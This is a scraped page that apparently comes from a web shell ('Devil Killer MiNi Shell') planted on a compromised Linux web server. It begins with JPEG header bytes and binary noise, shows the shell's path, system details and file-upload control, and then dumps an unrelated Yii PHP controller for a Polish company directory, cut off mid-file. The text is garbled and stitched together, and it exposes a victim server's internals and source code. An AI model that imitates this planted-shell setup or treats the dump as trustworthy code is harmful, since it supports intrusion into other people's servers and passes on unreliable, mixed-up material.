JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/controllers/

Linux eb5096292c53 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/frontend/controllers/FirmyController.php

<?php
namespace frontend\controllers;

use Yii;
use yii\web\Controller;
use yii\helpers\ArrayHelper;
use common\models\CompaniesCategories;
use common\models\CompaniesPhotogalleries;
use common\models\CompaniesPresentations;
use common\models\CompaniesPresentationsHasCompaniesCategories;
use common\models\types\Status;
use frontend\models\CompaniesSearchForm;
use yii\data\ActiveDataProvider;
use common\models\Products;
use common\models\ProductsCategories;
use common\models\types\CompanyPresentationPromotionType;
use yii\web\NotFoundHttpException;

/**
 * Firmy controller
 */
class FirmyController extends Controller
{
    use \frontend\components\traits\SeoFunctions;
    /**
     * @inheritdoc
     */
    public function actions()
    {
        return [
            'error' => [
                'class' => 'yii\web\ErrorAction',
            ],
        ];
    }
    
    public function behaviors()
    {
        $behaviors = parent::behaviors();
        $behaviors['portalDataSets'] = [
            'class' => \frontend\components\filters\PortalDataSetsFilter::class,
            'dataSetsKey' => 'companies'
        ];
        return $behaviors;
    }
    
    protected function traverseTree($branch, $hierarchy)
    {
        $category = [
            'id' => $branch['id'],
            'name' => $branch['text'],
            'hierarchy' => ltrim($hierarchy, ",")
        ];
        
        if(!empty($branch['children'])) {
            $children = [];
            foreach($branch['children'] as $subbranch) {
                $child = $this->traverseTree($subbranch, $hierarchy.','.$branch['id']);
                $children[$child['id']] = $child;
            }
        }
        
        $category['children'] = !empty($children) ? $children : [];
        
        return $category;
    }

    public function actionIndex()
    {
        $modelPortal = Yii::$app->params['modelPortal'];
        
        $idPortalForCategoriesTree = empty($modelPortal->id_parent_portal) ? $modelPortal->id_portal : $modelPortal->id_parent_portal;
        
        $categoriesTree = CompaniesCategories::getCategoryTree($idPortalForCategoriesTree);
        $categoriesTree = $categoriesTree[0]['children'];
        
        if(!empty($categoriesTree)) {
//            var_dump($categoriesTree);
            $alternativeCategoriesTree = [];
            foreach($categoriesTree as $category) {
                $branch = $this->traverseTree($category, '');
                $alternativeCategoriesTree[$branch['id']] = $branch;
            }
        }

        $mainCategories = ArrayHelper::getColumn($categoriesTree, 'text');
        if(count($mainCategories) > 3) {
            $randomKeys = array_rand($mainCategories, 3);
            $mainCategories = [$mainCategories[$randomKeys[0]], $mainCategories[$randomKeys[1]], $mainCategories[$randomKeys[2]]];
        }
        $mainCategories = implode(", ", $mainCategories);        
        $this->setSeoMetadata('catalog_of_companies_start_page', [
             'title' => [$mainCategories, Yii::$app->params['modelPortal']->domain], //'{nazwy kategorii zerowego poziomu - trzy wybrane}','{domena}'
             'keywords' => [$mainCategories, Yii::$app->params['modelPortal']->domain], //'{nazwy kategorii zerowego poziomu - trzy wybrane}','{domena}'
             'description' => [$mainCategories, Yii::$app->params['modelPortal']->domain] //'{nazwy kategorii zerowego poziomu - trzy wybrane}','{domena}'
        ]);
        
        return $this->render('index', [
            'categoriesTree' => $categoriesTree,
            'alternativeCategoriesTree' => $alternativeCategoriesTree
        ]);
    }    
    
    protected function applyFilters($modelForm, $query)
    {
        $modelForm->load(Yii::$app->request->queryParams);
        
        if(!$modelForm->validate()) {
            return false;
        }
        
        $query->andFilterWhere(['or', ['ilike', 'companies.name', $modelForm->phrase], ['ilike', 'companies.short_name', $modelForm->phrase]]);
        $query->andFilterWhere(['ilike', 'companies.region', $modelForm->region]);
        $query->andFilterWhere(['ilike', 'companies.locality', $modelForm->locality]);
        
        return true;        
    }
    
    protected function getBaseQuery($idsCategories)
    {
        $query = CompaniesPresentations::find()                
                ->with([
                    'companiesTabs' => function($q) {
                        $q->andWhere(['or', ['status' => Status::ACTIVE], ['id_tab' => \common\models\PresentationsTabs::TAB_ABOUT_COMPANY]]);
//                        $q->where(['status' => Status::ACTIVE]);
                        $q->indexBy('id_tab');
                        $q->with([
                            'page' => function($q2) {
                                $q2->select(['id_company_tab', 'lead']);
                            }
                        ]);
                    }
                ])
                ->joinWith('company')
                ->where([
                    'companies_presentations.id_portal' => Yii::$app->params['modelPortal']->id_portal,
                    'companies_presentations.status' => Status::ACTIVE,
                    'companies.status' => Status::ACTIVE,
                ])
                ->andWhere([
                    'in', 
                    'companies_presentations.id_presentation', 
                    CompaniesPresentationsHasCompaniesCategories::find()
                        ->select(['companies_presentations_has_companies_categories.id_presentation'])
                        ->where(['companies_presentations_has_companies_categories.id_category' => $idsCategories])
                        ->groupBy('companies_presentations_has_companies_categories.id_presentation')
                ]);
        
        return $query;
    }    
    
    public function actionLista($id, $slug = null)
    {
        //@backward_compatibility
        //---------------------------
        if(!!Yii::$app->request->get('old')) {        
            $newId = (int)(new \yii\mongodb\Query())->from('import_companies_categories')->select(['target_id'])->where(['source_id' => (string)$id, 'status' => 'OK'])->scalar();
            if(!empty($newId)) {
                $urlParams = Yii::$app->request->getQueryParams();                
                $urlParams['id'] = $newId;
                unset($urlParams['old']);
                array_unshift($urlParams, 'firmy/lista');
                return $this->redirect($urlParams, 301);
            } else {
                throw new NotFoundHttpException('Not found selected category.');
            }
        }
        //---------------------------
        
        $modelPortal = Yii::$app->params['modelPortal'];
        
        $idPortalForCategoriesTree = empty($modelPortal->id_parent_portal) ? $modelPortal->id_portal : $modelPortal->id_parent_portal;
        
        $modelCategory = CompaniesCategories::find()->where(['id_portal' => $idPortalForCategoriesTree, 'id_category' => intval($id)])->one();
        if($modelCategory === null) {
            throw new NotFoundHttpException('Not found selected category.');
        }
        
        $modelSearchForm = new CompaniesSearchForm();
        
        $idsCategories = CompaniesCategories::getIdsSelectedBranch($modelCategory);
        
        $query = $this->getBaseQuery($idsCategories);
        
        $queryForPresentationsPromoted = clone $query;
        
        $actualDate = date('Y-m-d');
        
        $modelsCompaniesPresentationsPromoted = $queryForPresentationsPromoted
                ->join('INNER JOIN', 'companies_presentations_promoted', 'companies_presentations_promoted.id_presentation = companies_presentations.id_presentation')
                ->andWhere([
                    'companies_presentations_promoted.promotion_type' => CompanyPresentationPromotionType::POSITIONING_IN_CATEGORY,
                    'companies_presentations_promoted.id_category' => $modelCategory->id_category
                ])
                ->andWhere(['<=', 'companies_presentations_promoted.promoted_start_date', $actualDate])
                ->andWhere(['>=', 'companies_presentations_promoted.promoted_end_date', $actualDate])
                ->orderBy('companies_presentations_promoted.presentation_order')
                ->all();
        
        if(!empty($modelsCompaniesPresentationsPromoted)) {
            $idsCompaniesPresentationsPromoted = [];
            foreach($modelsCompaniesPresentationsPromoted as $modelCompanyPresentationPromoted) {
                $idsCompaniesPresentationsPromoted[] = $modelCompanyPresentationPromoted->id_presentation;
            }            
            $query->andWhere(['not', ['companies_presentations.id_presentation' => $idsCompaniesPresentationsPromoted]]);
        }
        
//        if(!Yii::$app->request->get('sort') || Yii::$app->request->get('sort') === 'default' || Yii::$app->request->get('sort') === '-default') {
        if(!Yii::$app->request->get('sort') || Yii::$app->request->get('sort') !== 'name' && Yii::$app->request->get('sort') !== '-name') {
            $query->select(['companies_presentations.*', 'COUNT(companies_presentations_tabs.id_company_tab) AS tabs_count'])
                ->join('LEFT JOIN', 'companies_presentations_tabs', 'companies_presentations.id_presentation = companies_presentations_tabs.id_presentation AND companies_presentations_tabs.or_empty = 0')
                ->groupBy('companies_presentations.id_presentation');
        }
        
        $this->applyFilters($modelSearchForm, $query);
        
        $dataProvider = new ActiveDataProvider([
            'query' => $query,
            'pagination' => [
                'defaultPageSize' => 15,
                'pageSizeLimit' => [1, 50]
            ],
            'sort' => [
                'attributes' => [
                    'name' => [
                        'asc' => ['companies.name' => SORT_ASC],
                        'desc' => ['companies.name' => SORT_DESC],
                        'default' => ['companies.name' => SORT_DESC],
                        'label' => Yii::t('common-models', 'Nazwa')
                    ],
                    'default' => [
                        'asc' => ['tabs_count' => SORT_DESC],
                        'desc' => ['tabs_count' => SORT_DESC],
                        'default' => ['tabs_count' => SORT_DESC],
                        'label' => Yii::t('frontend', 'Domyślnie')
                    ],
//                    'region' => [
//                        'asc' => ['companies.region' => SORT_ASC],
//                        'desc' => ['companies.region' => SORT_DESC],
//                        'default' => ['companies.region' => SORT_DESC],
//                        'label' => Yii::t('common-models', 'Województwo')
//                    ],
//                    'locality' => [
//                        'asc' => ['companies.locality' => SORT_ASC],
//                        'desc' => ['companies.locality' => SORT_DESC],
//                        'default' => ['companies.locality' => SORT_DESC],
//                        'label' => Yii::t('common-models', 'Miejscowość')
//                    ],
//                    'created_at' => [
//                        'asc' => ['companies_presentations.created_at' => SORT_ASC],
//                        'desc' => ['companies_presentations.created_at' => SORT_DESC],
//                        'default' => ['companies_presentations.created_at' => SORT_DESC],
//                        'label' => Yii::t('frontend', 'Data dodania')
//                    ],
                ],
                'defaultOrder' => [
                    'default' => SORT_DESC
                ],
            ]
        ]);
        
        $seoSubcategories = [];
        $idsCategoriesTemp = $idsCategories;
        if(($key = array_search($modelCategory->id_category, $idsCategoriesTemp)) !== false) {
            unset($idsCategoriesTemp[$key]);
        }
        if(!empty($idsCategoriesTemp)) {
            $seoSubcategories = \common\models\CompaniesCategories::find()->select(['name'])->where(['id_category' => $idsCategoriesTemp])->distinct()->column();
            if(count($seoSubcategories) > 3) {
                $randomKeys = array_rand($seoSubcategories, 3);
                $seoSubcategories = [$seoSubcategories[$randomKeys[0]], $seoSubcategories[$randomKeys[1]], $seoSubcategories[$randomKeys[2]]];
            }
            unset($idsCategoriesTemp);
        }

        $this->setSeoMetadata('catalog_of_companies_listing', [
             'title' => [$modelCategory->name, Yii::$app->params['modelPortal']->domain], //'{nazwa kategorii}','{domena}'
             'keywords' => [$modelCategory->name, implode(", ", $seoSubcategories)], //'{nazwa kategorii}','{nazwy podkategorii - trzy wybrane}'
             'description' => [$modelCategory->name, implode(", ", $seoSubcategories), Yii::$app->params['modelPortal']->domain] //'{nazwa kategorii}','{nazwy podkategorii - trzy wybrane}','{domena}'
        ]);  
        
        return $this->render('list', [
            'modelCategory' => $modelCategory,
            'dataProvider' => $dataProvider,
            'modelSearchForm' => $modelSearchForm,
            'modelsCompaniesPresentationsPromoted' => $modelsCompaniesPresentationsPromoted
        ]);
    }
    
    public function actionDaneKontaktowe($id, $slug = null)
    {
        //@backward_compatibility
        //---------------------------
        $response = $this->getRedirectFromOldUrl($id, 'dane-kontaktowe');
        if(!empty($response)) {
            return $response;
        }
        //---------------------------
        
        $model = $this->findModelPresentation($id);
         
        $seoCategories = $this->getRandomPresentationCategories($model, 3); 
        $companyDescription = !empty($model->companiesTabs[\common\models\PresentationsTabs::TAB_ABOUT_COMPANY]) ? $model->companiesTabs[\common\models\PresentationsTabs::TAB_ABOUT_COMPANY]->getPage()->select('lead')->scalar() : '';
        $this->setSeoMetadata('company_card_contact_data', [
            'title' => [strip_tags($model->company->name).', '.strip_tags($model->company->locality), Yii::$app->params['modelPortal']->domain], //'{nazwa firmy, miasto}','{domena}'
            'keywords' => [strip_tags($model->company->name).', '.implode(", ", $seoCategories)], //'{nazwa firmy, 3 wybrane branze}'
            'description' => [strip_tags($companyDescription), Yii::$app->params['modelPortal']->domain] //'{opis firmy}','{domena}'
        ]); 
        
        $this->includeMetaTags($model, $companyDescription);
        
        $this->createVisitEntry($model, \common\models\PresentationsTabs::TAB_CONTACT_DATA);
        
        return $this->render('contact_data', [
            'model' => $model
        ]);
    }
    
    protected function createVisitEntry($modelPresentation, $idTab)
    {
        $visitorUUID = Yii::$app->request->cookies->getValue('visitor_uuid', null); 
        if(empty($visitorUUID)) {
            $visitorUUID = \common\components\UuidGenerator::generateV4();
            Yii::$app->response->cookies->add(new \yii\web\Cookie([
                'name' => 'visitor_uuid',
                'value' => $visitorUUID,
                'expire' => time() + 86400 //1 doba
            ]));
        }
        
        //zaliczamy kliknięcie do logów
//        if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
//            $ip = $_SERVER['HTTP_CLIENT_IP'];
//        } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
//            $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
//            if(mb_strpos($ip, ',') !== false) {
//                $listOfIp = array_map('trim', explode(',', $ip));
//                $ip = $listOfIp[0];
//            }
//        } else {
//            $ip = $_SERVER['REMOTE_ADDR'];
//        }
        $ip = \common\components\helpers\IpGetter::get();
        
        $actualDate = date('Y-m-d');
        
        $promotion = (int)Yii::$app->request->get('promotion', 0); 
        
        $modelCompanyPresentationsVisit = new \common\models\CompaniesPresentationsVisits();
        $modelCompanyPresentationsVisit->id_presentation = $modelPresentation->id_presentation;
        $modelCompanyPresentationsVisit->id_portal = $modelPresentation->id_portal;
        $modelCompanyPresentationsVisit->id_tab = $idTab;
        $modelCompanyPresentationsVisit->visitor_uuid = $visitorUUID;
        $modelCompanyPresentationsVisit->ip = $ip;
        $modelCompanyPresentationsVisit->promotion = \common\models\CompaniesPresentationsVisits::NO_PROMOTION;
        $modelCompanyPresentationsVisit->id_category = 0;
        $modelCompanyPresentationsVisit->search_phrase = '';
        
        $query = \common\models\CompaniesPresentationsPromoted::find()
                    ->where([
                        'companies_presentations_promoted.id_presentation' => $modelPresentation->id_presentation,
                    ])
                    ->andWhere(['<=', 'companies_presentations_promoted.promoted_start_date', $actualDate])
                    ->andWhere(['>=', 'companies_presentations_promoted.promoted_end_date', $actualDate]);
        
        switch($promotion) {
            case \common\models\CompaniesPresentationsVisits::PROMOTION_TOP_COMPANY:
                $orExistsPromotion = $query->andWhere(['companies_presentations_promoted.promotion_type' => CompanyPresentationPromotionType::TOP_COMPANY])->exists(); 
                if($orExistsPromotion) {
                    $modelCompanyPresentationsVisit->promotion = \common\models\CompaniesPresentationsVisits::PROMOTION_TOP_COMPANY;
                }
                break;
            case \common\models\CompaniesPresentationsVisits::PROMOTION_IN_CATEGORIES:
                $idCategory = (int)Yii::$app->request->get('promotion_details', 0);
                $modelCategory = \common\models\CompaniesCategories::findOne($idCategory);
                if(!empty($modelCategory)) {
                    $idsCategories = [];
                    if($modelCategory->right - $modelCategory->left === 1) {
                        $idsCategories = [$modelCategory->id_category];
                    } else { 
                        $idsCategories = \common\models\CompaniesCategories::getIdsSelectedBranch($modelCategory);
                    }
                    $orExistsPromotion = $query->andWhere([
                            'companies_presentations_promoted.promotion_type' => CompanyPresentationPromotionType::POSITIONING_IN_CATEGORY,
                            'companies_presentations_promoted.id_category' => $idCategory
                        ])
                        ->exists(); 
                    if($orExistsPromotion) {
                        $modelCompanyPresentationsVisit->promotion = \common\models\CompaniesPresentationsVisits::PROMOTION_IN_CATEGORIES;
                        $modelCompanyPresentationsVisit->id_category = $idCategory;
                    }
                }
                break;
            case \common\models\CompaniesPresentationsVisits::PROMOTION_IN_SEARCH:
                $orExistsPromotion = $query->andWhere(['companies_presentations_promoted.promotion_type' => CompanyPresentationPromotionType::TOP_POSITION_IN_SEARCH])->exists();
                if($orExistsPromotion) {
                    $modelCompanyPresentationsVisit->promotion = \common\models\CompaniesPresentationsVisits::PROMOTION_IN_SEARCH;
                    $modelCompanyPresentationsVisit->search_phrase = Yii::$app->request->get('promotion_details', '');
                }
                break;
        }     

        $flag = $modelCompanyPresentationsVisit->save();
        
        return $flag;
    }
    
    public function actionOddzialy($id, $slug = null)
    {
        //@backward_compatibility
        //---------------------------
        $response = $this->getRedirectFromOldUrl($id, 'oddzialy');
        if(!empty($response)) {
            return $response;
        }
        //---------------------------
        
        $model = $this->findModelPresentation($id);
        
        //sprawdzanie aktywności
        $this->checkIfCompanyTabIsActive($model, \common\models\PresentationsTabs::TAB_BRANCHES);
         
        $seoBranches = [];
        $branches = $model->getBranches()->select(['name'])->column();        
        if(count($branches) > 3) {
            $randomKeys = array_rand($branches, 3);
            $seoBranches = [$branches[$randomKeys[0]], $branches[$randomKeys[1]], $branches[$randomKeys[2]]];
        } else {
            $seoBranches = $branches;
        }
        unset($branches);
        
        $companyDescription = !empty($model->companiesTabs[\common\models\PresentationsTabs::TAB_ABOUT_COMPANY]) ? $model->companiesTabs[\common\models\PresentationsTabs::TAB_ABOUT_COMPANY]->getPage()->select('lead')->scalar() : '';
        $this->setSeoMetadata('company_card_branches', [
             'title' => [strip_tags($model->company->name).', '.strip_tags($model->company->locality), Yii::$app->params['modelPortal']->domain], //'{nazwa firmy, miasto}','{domena}'
             'keywords' => [strip_tags($model->company->name).', '. implode(", ", $seoBranches), Yii::$app->params['modelPortal']->domain], //'{nazwa firmy, 3 wybrane oddziały }','{domena}'
             'description' => [strip_tags($companyDescription), Yii::$app->params['modelPortal']->domain] //'{opis firmy}','{domena}'
        ]);
        
        $this->includeMetaTags($model, $companyDescription);
        
        $this->createVisitEntry($model, \common\models\PresentationsTabs::TAB_BRANCHES);
        
        return $this->render('branches', [
            'model' => $model
        ]);
    }    
    
    public function actionBranzeIZasieg($id, $slug = null)
    {
        //@backward_compatibility
        //---------------------------
        $response = $this->getRedirectFromOldUrl($id, 'branze-i-zasieg');
        if(!empty($response)) {
            return $response;
        }
        //---------------------------
        
        $model = $this->findModelPresentation($id);     
        
        //sprawdzanie aktywności
        $this->checkIfCompanyTabIsActive($model, \common\models\PresentationsTabs::TAB_INDUSTRIES_AND_COVERAGE);
        
        $countriesNames = [];
        $regionsNames = [];
        $coverage = [];
        
        $countries = $model->getCountries()->select(['id_country', 'name'])->orderBy('name')->indexBy('id_country')->asArray()->all();   
        if(!empty($countries)) {
            foreach($countries as $country) {
                $countriesNames[] = $country['name'];
                $coverage[$country['id_country']] = [
                    'id_country' => $country['id_country'],
                    'name' => $country['name'],
                    'regions' => []
                ];
            }
            unset($countries);
            
            $regions = $model->getRegions()->select(['id_region', 'id_country', 'name'])->orderBy('name')->asArray()->all(); 
            if(!empty($regions)) {
                foreach($regions as $region) {
                    $regionsNames[] = $region['name'];
                    if(isset($coverage[$region['id_country']])) {
                        $coverage[$region['id_country']]['regions'][$region['id_region']] = $region['name'];
                    }
                }
                unset($regions);
            }
        }
        
        $seoWorkingArea = array_unique(array_merge($regionsNames, $countriesNames));
        $seoCategories = $this->getRandomPresentationCategories($model, 3); 
        $this->setSeoMetadata('company_card_industries_and_range', [
             'title' => [strip_tags($model->company->name).', '.strip_tags($model->company->locality), Yii::$app->params['modelPortal']->domain], //'{nazwa firmy, miasto}','{domena}'
             'keywords' => [strip_tags($model->company->name).', '.implode(", ", $seoCategories)], //'{nazwa firmy, 3 wybrane branze }'
             'description' => [strip_tags($model->company->name), implode(", ", $seoCategories), implode(", ", $seoWorkingArea)] //'{nazwa firmy}','{branze firmy}','{obszar działania}'
        ]);
        
        $this->includeMetaTags($model);
        
        $this->createVisitEntry($model, \common\models\PresentationsTabs::TAB_INDUSTRIES_AND_COVERAGE);
        
        return $this->render('industries_and_range', [
            'model' => $model,
            'coverage' => $coverage
        ]);
    }
    
    public function actionOFirmie($id, $slug = null)
    {
        //@backward_compatibility
        //---------------------------
        $response = $this->getRedirectFromOldUrl($id, 'o-firmie');
        if(!empty($response)) {
            return $response;
        }
        //---------------------------
        
        $model = $this->findModelPresentation($id);
        
        //sprawdzanie aktywności
        $this->checkIfCompanyTabIsActive($model, \common\models\PresentationsTabs::TAB_ABOUT_COMPANY);
         
        $seoCategories = $this->getRandomPresentationCategories($model, 3);
        $companyDescription = !empty($model->companiesTabs[\common\models\PresentationsTabs::TAB_ABOUT_COMPANY]) ? $model->companiesTabs[\common\models\PresentationsTabs::TAB_ABOUT_COMPANY]->getPage()->select('lead')->scalar() : '';
        $this->setSeoMetadata('company_card_about_company', [
             'title' => [strip_tags($model->company->name).', '.strip_tags($model->company->locality), Yii::$app->params['modelPortal']->domain], //'{nazwa firmy, miasto}','{domena}'
             'keywords' => [strip_tags($model->company->name).', '. implode(", ", $seoCategories)], //'{nazwa firmy, 3 wybrane branze }'
             'description' => [strip_tags($companyDescription), Yii::$app->params['modelPortal']->domain] //'{opis firmy}','{domena}'
        ]);
        
        $this->includeMetaTags($model, $companyDescription);
        
        $this->createVisitEntry($model, \common\models\PresentationsTabs::TAB_ABOUT_COMPANY);
        
        return $this->render('about_company', [
            'model' => $model
        ]);
    }
    
    public function actionOferta($id, $slug = null)
    {
        //@backward_compatibility
        //---------------------------
        $response = $this->getRedirectFromOldUrl($id, 'oferta');
        if(!empty($response)) {
            return $response;
        }
        //---------------------------
        
        $model = $this->findModelPresentation($id);
        
        //sprawdzanie aktywności
        $this->checkIfCompanyTabIsActive($model, \common\models\PresentationsTabs::TAB_OFFER);

        $seoCategories = $this->getRandomPresentationCategories($model, 3);
        $companyOffer = !empty($model->companiesTabs[\common\models\PresentationsTabs::TAB_OFFER]) ? $model->companiesTabs[\common\models\PresentationsTabs::TAB_OFFER]->getPage()->select('lead')->scalar() : '';
        $this->setSeoMetadata('company_card_offer', [
             'title' => [strip_tags($model->company->name).', '.strip_tags($model->company->locality).', '. implode(", ", $seoCategories), Yii::$app->params['modelPortal']->domain], //'{nazwa firmy, miasto, 3 wybrane branze}','{domena}'
             'keywords' => [strip_tags($model->company->name).', '. implode(", ", $seoCategories)], //'{nazwa firmy, 3 wybrane branze}'
             'description' => [strip_tags($companyOffer), Yii::$app->params['modelPortal']->domain] //'{skrót oferty firmy}','{domena}'
        ]);
        
        $this->includeMetaTags($model);
        
        $this->createVisitEntry($model, \common\models\PresentationsTabs::TAB_OFFER);
        
        return $this->render('offer', [
            'model' => $model
        ]);
    }
    
    public function actionProduktyIUslugi($id, $slug = null)
    {
        //@backward_compatibility
        //---------------------------
        if(!!Yii::$app->request->get('old')) {
            $newIdCompany = (int)(new \yii\mongodb\Query())->from('import_companies')->select(['target_id'])->where(['source_id' => (string)$id, 'status' => 'OK'])->scalar();
            if(!$newIdCompany) {
                throw new NotFoundHttpException('Not found selected company presentation.');
            }

            $newId = CompaniesPresentations::find()
                    ->select(['id_presentation'])
                    ->where([
                        'id_company' => $newIdCompany, 
                        'id_portal' => Yii::$app->params['modelPortal']->id_portal,
                        'status' => Status::ACTIVE,
                    ])
                    ->scalar();

            if(empty($newId)) {
                throw new NotFoundHttpException('Not found selected company presentation.');                
            } 
            
            $urlParams = Yii::$app->request->getQueryParams();                
            unset($urlParams['old']);
            
            if(!empty($urlParams['id_category'])) {
                $newIdCategory = (int)(new \yii\mongodb\Query())->from('import_products_categories')->select(['target_id'])->where(['source_id' => (string)$urlParams['id_category'], 'status' => 'OK'])->scalar();
                if(!$newIdCategory) {
                    $urlParams['id_category'] = null;
                }
            } else {
                $urlParams['id_category'] = null;
            }
            array_unshift($urlParams, 'firmy/produkty-i-uslugi');
            
            return $this->redirect($urlParams, 301);
        }
        //---------------------------
        
        $modelPortal = Yii::$app->params['modelPortal'];
        
        $model = $this->findModelPresentation($id);
        
        //sprawdzanie aktywności
        $this->checkIfCompanyTabIsActive($model, \common\models\PresentationsTabs::TAB_PRODUCTS_AND_SERVICES);
        
        $idPortalForCategoriesTree = empty($modelPortal->id_parent_portal) ? $modelPortal->id_portal : $modelPortal->id_parent_portal;
        
        $idCategory = Yii::$app->request->get('id_category');
        $modelCategory = ProductsCategories::find()
                ->where([
                    'id_portal' => $idPortalForCategoriesTree,
                    'id_category' => $idCategory
                ])
                ->one();
        
        $query = Products::find()
                ->select([
                    'products.id_product', 'products.id_company', 'products.name', 'products.image_filename', 'products.lead', 'products.created_at',
                    'companies_presentations_has_products.product_order'
                ])
                ->join('INNER JOIN', 'companies_presentations_has_products', 'companies_presentations_has_products.id_product = products.id_product')
                ->where([
                    'companies_presentations_has_products.id_presentation' => $model->id_presentation,
                    'products.status' => Status::ACTIVE,
                ]);
        
        if(!empty($modelCategory)) {
            $idCategories = ProductsCategories::getIdsSelectedBranch($modelCategory);            
            $query->join('INNER JOIN', 'products_has_products_categories', 'products_has_products_categories.id_product = products.id_product');
            $query->andWhere(['products_has_products_categories.id_category' => $idCategories]);
        }
        
        $dataProvider = new ActiveDataProvider([
            'query' => $query,
            'pagination' => [
                'defaultPageSize' => 15,
                'pageSizeLimit' => [1, 50]
            ],
            'sort' => [
                'attributes' => [
                    'name', 
                    'product_order' => [
                        'asc' => ['companies_presentations_has_products.product_order' => SORT_ASC],
                        'desc' => ['companies_presentations_has_products.product_order' => SORT_DESC],
                    ],
                    'created_at',
                ],
                'defaultOrder' => [
